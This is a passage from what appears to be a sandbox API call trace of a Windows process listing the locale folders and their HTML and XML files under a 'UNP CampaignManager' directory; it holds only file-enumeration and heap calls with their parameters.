ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0237.815] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa795f898, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3703fd, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0237.815] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x987f, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0237.815] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x234, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0237.815] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x17e, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.033] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.033] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3703fd, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.033] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0238.034] GetProcessHeap () returned 0xc10000 [0238.034] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.034] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-AT", cAlternateFileName="")) returned 1 [0238.034] GetProcessHeap () returned 0xc10000 [0238.034] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.034] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-AT\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.037] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3703fd, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79714a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.037] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.037] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.038] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.038] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.038] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.038] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0238.039] GetProcessHeap () returned 0xc10000 [0238.039] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.039] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-CH", cAlternateFileName="")) returned 1 [0238.039] GetProcessHeap () returned 0xc10000 [0238.039] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.039] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-CH\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4a68 [0238.041] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa79bb5f0, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e396633, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.042] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.042] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.042] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.042] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.042] FindNextFileW (in: hFindFile=0x33e4a68, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.042] FindClose (in: hFindFile=0x33e4a68 | out: hFindFile=0x33e4a68) returned 1 [0238.043] GetProcessHeap () returned 0xc10000 [0238.043] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.043] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1 [0238.043] GetProcessHeap () returned 0xc10000 [0238.043] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.043] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\de-DE\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7a12def, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e396633, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e396633, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0x9c9b, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x3b8f4c00, ftLastWriteTime.dwHighDateTime=0x1d29f07, nFileSizeHigh=0x0, nFileSizeLow=0x245, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x193, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.046] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x1ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.046] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0238.048] GetProcessHeap () returned 0xc10000 [0238.048] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.048] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1 [0238.048] GetProcessHeap () returned 0xc10000 [0238.048] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.048] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\el-GR\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4be8 [0238.051] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7adca7e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3bc889, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.051] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x32e4c500, ftLastWriteTime.dwHighDateTime=0x1d3225e, nFileSizeHigh=0x0, nFileSizeLow=0xe4ba, dwReserved0=0x0, dwReserved1=0x0, cFileName="index.html", cAlternateFileName="INDEX~1.HTM")) returned 1 [0238.052] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x18026100, ftLastWriteTime.dwHighDateTime=0x1d2c3e2, nFileSizeHigh=0x0, nFileSizeLow=0x2be, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgrade.xml", cAlternateFileName="TOASTB~1.XML")) returned 1 [0238.052] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x6e978800, ftLastWriteTime.dwHighDateTime=0x1d2d919, nFileSizeHigh=0x0, nFileSizeLow=0x1f9, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastbeginupgradeth2.xml", cAlternateFileName="TOASTB~2.XML")) returned 1 [0238.052] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 1 [0238.052] FindNextFileW (in: hFindFile=0x33e4be8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0x8e3bc889, ftLastAccessTime.dwHighDateTime=0x1d32723, ftLastWriteTime.dwLowDateTime=0x4c4a7800, ftLastWriteTime.dwHighDateTime=0x1d2db6e, nFileSizeHigh=0x0, nFileSizeLow=0x25c, dwReserved0=0x0, dwReserved1=0x0, cFileName="toastreviewsettings.xml", cAlternateFileName="TOASTR~1.XML")) returned 0 [0238.052] FindClose (in: hFindFile=0x33e4be8 | out: hFindFile=0x33e4be8) returned 1 [0238.054] GetProcessHeap () returned 0xc10000 [0238.054] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3902878 | out: hHeap=0xc10000) returned 1 [0238.054] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-AU", cAlternateFileName="")) returned 1 [0238.054] GetProcessHeap () returned 0xc10000 [0238.054] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3902878 [0238.054] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\UNP\\CampaignManager\\Campaigns\\{91be532c-f9f1-406a-9858-43697c6f437a}\\Content1\\en-AU\\*", lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: lpFindFileData=0x2e5e7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8e3bc889, ftCreationTime.dwHighDateTime=0x1d32723, ftLastAccessTime.dwLowDateTime=0xa7b18143, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8e3e2af7, ftLastWriteTime.dwHighDateTime=0x1d32723, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0238.057] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5e7a8 | out: 